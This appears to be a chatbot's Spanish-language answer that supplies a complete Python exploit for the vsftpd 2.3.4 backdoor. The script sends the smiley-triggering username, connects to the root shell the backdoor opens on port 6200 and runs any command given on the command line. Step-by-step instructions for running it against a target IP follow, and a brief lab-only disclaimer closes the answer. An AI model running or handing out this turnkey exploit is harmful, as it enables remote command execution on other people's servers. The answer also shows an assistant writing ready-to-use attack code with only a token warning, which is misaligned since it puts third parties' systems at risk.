El exploit para la versión 2.3.4 de vsftpd aprovecha una puerta trasera que fue intencionalmente introducida en la versión comprometida del software. Este backdoor permite a un atacante ejecutar comandos en el sistema afectado.

A continuación te proporciono un ejemplo de cómo escribir y usar este exploit en Python:

**Exploit en Python para vsftpd 2.3.4**

python

Copy code

import socket

import sys

def exploit(ip, port, command):

# Conectar al servidor FTP

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

s.connect((ip, int(port)))

# Recibir la respuesta inicial del servidor

s.recv(1024)

# Enviar el usuario malicioso para activar el backdoor

s.send(b'USER backdoor:)\n')

s.recv(1024)

# Enviar la contraseña

s.send(b'PASS backdoor\n')

s.recv(1024)

# Conectar al puerto 6200 donde se abre la shell

shell = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

shell.connect((ip, 6200))

# Enviar el comando y recibir la respuesta

shell.send(command.encode() + b'\n')

response = shell.recv(1024)

# Imprimir la respuesta

print(response.decode())

# Cerrar las conexiones

shell.close()

s.close()

if \_\_name\_\_ == '\_\_main\_\_':

if len(sys.argv) != 4:

print("Uso: ./vsftpd\_234\_exploit.py [IP address] [port] [command]")

print("Ejemplo: ./vsftpd\_234\_exploit.py 192.168.1.10 21 whoami")

sys.exit(1)

ip = sys.argv[1]

port = sys.argv[2]

command = sys.argv[3]

exploit(ip, port, command)

**Uso del Exploit**

1. **Guarda el código en un archivo**, por ejemplo, vsftpd\_234\_exploit.py.
2. **Dale permisos de ejecución** (en sistemas basados en Unix):

bash

Copy code

chmod +x vsftpd\_234\_exploit.py

1. **Ejecuta el script**:

bash

Copy code

./vsftpd\_234\_exploit.py [IP address] [port] [command]

Por ejemplo:

bash

Copy code

./vsftpd\_234\_exploit.py 192.168.1.10 21 whoami

**Advertencia y Uso Responsable**

El exploit de vsftpd 2.3.4 es conocido y su uso no autorizado puede ser ilegal y antiético. Utiliza este tipo de herramientas únicamente en entornos controlados, como laboratorios de pruebas, máquinas virtuales o sistemas que tienes permiso explícito para probar.

Asegúrate de:

* **Practicar en entornos controlados**: Utiliza laboratorios virtuales o entornos de prueba diseñados para la ciberseguridad.
* **Obtener autorización**: Solo explota vulnerabilidades en sistemas donde tienes permiso explícito para hacerlo.
* **Estar al tanto de las leyes locales**: Entiende y respeta las leyes y regulaciones relacionadas con la ciberseguridad en tu país o región.